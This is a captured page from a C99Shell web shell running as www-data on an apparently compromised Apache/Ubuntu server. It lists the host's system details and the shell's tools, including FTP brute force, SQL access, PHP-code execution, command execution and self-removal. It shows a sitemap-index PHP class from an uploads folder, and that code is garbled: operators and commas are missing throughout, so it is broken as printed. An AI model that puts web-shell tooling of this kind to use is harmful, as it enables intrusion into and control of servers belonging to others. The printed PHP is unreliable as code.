!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/samdark/sitemap/   drwxr-xr-x
Free 13.28 GB of 57.97 GB (22.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Index.php (2.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace samdark\sitemap;

use 
XMLWriter;

/**
 * A class for generating Sitemap index (http://www.sitemaps.org/)
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 */
class Index
{
    
/**
     * @var XMLWriter
     */
    
private $writer;

    
/**
     * @var string index file path
     */
    
private $filePath;

    
/**
     * @var bool whether to gzip the resulting file or not
     */
    
private $useGzip false;

    
/**
     * @param string $filePath index file path
     */
    
public function __construct($filePath)
    {
        
$this->filePath $filePath;
    }

    
/**
     * Creates new file
     */
    
private function createNewFile()
    {
        
$this->writer = new XMLWriter();
        
$this->writer->openMemory();
        
$this->writer->startDocument('1.0''UTF-8');
        
$this->writer->setIndent(true);
        
$this->writer->startElement('sitemapindex');
        
$this->writer->writeAttribute('xmlns''http://www.sitemaps.org/schemas/sitemap/0.9');
    }

    
/**
     * Adds sitemap link to the index file
     *
     * @param string $location URL of the sitemap
     * @param integer $lastModified unix timestamp of sitemap modification time
     * @throws \InvalidArgumentException
     */
    
public function addSitemap($location$lastModified null)
    {
        if (
false === filter_var($locationFILTER_VALIDATE_URL)) {
            throw new 
\InvalidArgumentException(
                
"The location must be a valid URL. You have specified: {$location}."
            
);
        }

        if (
$this->writer === null) {
            
$this->createNewFile();
        }

        
$this->writer->startElement('sitemap');
        
$this->writer->writeElement('loc'$location);

        if (
$lastModified !== null) {
            
$this->writer->writeElement('lastmod'date('c'$lastModified));
        }
        
$this->writer->endElement();
    }

    
/**
     * @return string index file path
     */
    
public function getFilePath()
    {
        return 
$this->filePath;
    }

    
/**
     * Finishes writing
     */
    
public function write()
    {
        if (
$this->writer instanceof XMLWriter) {
            
$this->writer->endElement();
            
$this->writer->endDocument();
            
$filePath $this->getFilePath();
            if (
$this->useGzip) {
                
$filePath 'compress.zlib://' $filePath;
            }
            
file_put_contents($filePath$this->writer->flush());
        }
    }

    
/**
     * Sets whether the resulting file will be gzipped or not.
     * @param bool $value
     * @throws \RuntimeException when trying to enable gzip while zlib is not available
     */
    
public function setUseGzip($value)
    {
        if (
$value && !extension_loaded('zlib')) {
            throw new 
\RuntimeException('Zlib extension must be installed to gzip the sitemap.');
        }
        
$this->useGzip $value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0069 ]--